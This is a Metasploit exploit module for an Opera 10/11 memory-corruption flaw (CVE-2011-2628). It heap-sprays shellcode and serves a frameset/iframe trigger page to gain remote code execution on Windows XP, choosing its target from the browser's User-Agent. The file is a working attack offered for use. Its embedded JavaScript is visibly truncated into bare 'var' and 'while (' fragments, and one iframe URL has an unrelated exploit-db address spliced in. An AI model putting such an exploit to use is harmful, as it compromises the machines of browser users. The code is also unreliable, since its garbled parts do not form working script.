require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Opera 10/11 (bad nesting with frameset tag) Memory Corruption',
'Description'=> %q{
This module exploits a vulnerability in the nesting of frameset and iframe tags as implemented within
Opera Browser. A memory corruption is triggered and some pointers got corrupted with invalid addresses.
Successfully exploiting leads to remote code execution or denial of service condition under Windows XP
SP3 (DEP = off).
Note than most of cases, it won't work at first attempt and need crash-dialog interaction.
Read the last reference for further details.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Jose A. Vazquez'
],
'Version'=> '$Revision: 0011 $',
'References' =>
[
['CVE', '2011-2628'],
['OSVDB', '72406'],
['BID', '47906'],
['URL', 'http://www.opera.com/support/kb/view/992/'],
['URL', 'http://www.beyondsecurity.com/ssd.html'],
['URL', 'http://spa-s3c.blogspot.com/2011/05/spas3c-sv-004opera-browser-1111.html'],
['URL', 'http://spa-s3c.blogspot.com/2011/09/spas3c-sv-004reliability-tests-ssd.html']
],
'DefaultOptions' =>
{
'EXITFUNC'=> 'process',
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true
},
'Payload'=>
{
'Space'=> 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets'=>
[
# Automatic
[ 'Automatic',
{}
],
# Opera > v10.54 ~ spray of 350 MB
[ 'Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default)',
{
'SizeofSpray' => 700,
'Ret' => 0x0c0c0c0c
}
],
# Opera <= v10.54 ~ spray of 250 MB
[ 'Opera Browser (v10.50 - v10.54) / Windows XP SP3 (DEP-default)',
{
'SizeofSpray' => 500,
'Ret' => 0x0c0c0c0c
}
],
# Opera < v10.50 doesn't get crashed with previous method and it needs this one.
[ 'Opera Browser (v10.00 - v10.10) / Windows XP SP3 (DEP-default)',
{
'SizeofSpray' => 500,
'Ret' => 0x0c0c0c0c
}
]
],
'DisclosureDate' => '5 October 2011',
'DefaultTarget'=> 0))
end
def automatic_target(cli, request)
thistarget = nil
agent = request.headers['User-Agent']
if agent =~ /Version\/10\.00/ or agent =~ /Version\/10\.01/ or agent =~ /Version\/10\.10/
thistarget = targets[3]
elsif agent =~ /Version\/10\.50/ or agent =~ /Version\/10\.51/ or agent =~ /Version\/10\.52/ or agent =~ /Version\/10\.53/ or agent =~ /Version\/10\.54/
thistarget = targets[2]
else
thistarget = targets[1]
end
thistarget
end
def on_request_uri(cli, request)
mytarget = target
if target.name == 'Automatic'
mytarget = automatic_target(cli, request)
end
if(request.uri =~ /\.xhtml$/)
html = %Q|
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml">
<meta http-equiv="refresh" content="0;url=" />
<xht:frameset>
<xht:iframe>
<xht:script>
rbc
</xht:script>
<style type="text/css">
<!-- /* padding CSS */
approx:root{
font: 333em;
}
-->
</style>
</xht:iframe>
</xht:frameset>
</html>
|
print_status("Sending stage 2 (Triggering the vulnerability)")
var_contentype = 'application/xhtml+xml'
else
return if ((p = regenerate_payload(cli)) == nil)
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))
addr_word= [mytarget.ret].pack('V').unpack('H*')[0][0,4]
var_buffer = rand_text_alpha(rand(30)+2)
var_shellcode = rand_text_alpha(rand(30)+2)
var_unescape = rand_text_alpha(rand(30)+2)
var_x = rand_text_alpha(rand(30)+2)
var_i = rand_text_alpha(rand(30)+2)
var_size = rand_text_alpha(rand(30)+2)
var_nopsize = rand_text_alpha(rand(30)+2)
var_limit = rand_text_alpha(rand(30)+2)
var_function_trigger = rand_text_alpha(rand(30)+2)
var_file_trigger = rand_text_alpha(rand(30)+2)
var_timer_trigger = (rand(3) + 2) * 1000
var_url =((datastore['SSL']) ? "https://" : "http://")
var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
var_url << ":" + datastore['SRVPORT']
var_url << get_resource
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})")
if mytarget.name =~ /v10.00/
html = %Q|
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml">
<xht:frameset>
<xht:iframe>
<xht:script>
aaaaaa
</xht:script>
</xht:iframe>
</xht:frameset>
<script type="text/javascript">
<![CDATA[
var
var
var
var
var
while (
}
var
for ( var
}
setInterval("location.reload()", 500);
]]>
</script>
<html>
|
print_status("Sending simple stage (Sprayer and Triggerer)")
var_contentype = 'application/xhtml+xml'
else
html = %Q|
<html>
<head>
<script type="text/javascript">
var
var
var
var
var
while (
}
var
for ( var
}
function
document.write("<iframe src='https://www.exploit-db.com/exploits/17936/#{var_url}/#{var_file_trigger}.xhtml'></iframe>");
}
setTimeout('#{var_function_trigger}()',
</script>
</head>
<html>
|
print_status("Sending stage 1 (Spraying the heap)")
var_contentype = 'text/html'
end
end
send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' })
handler(cli)
end
end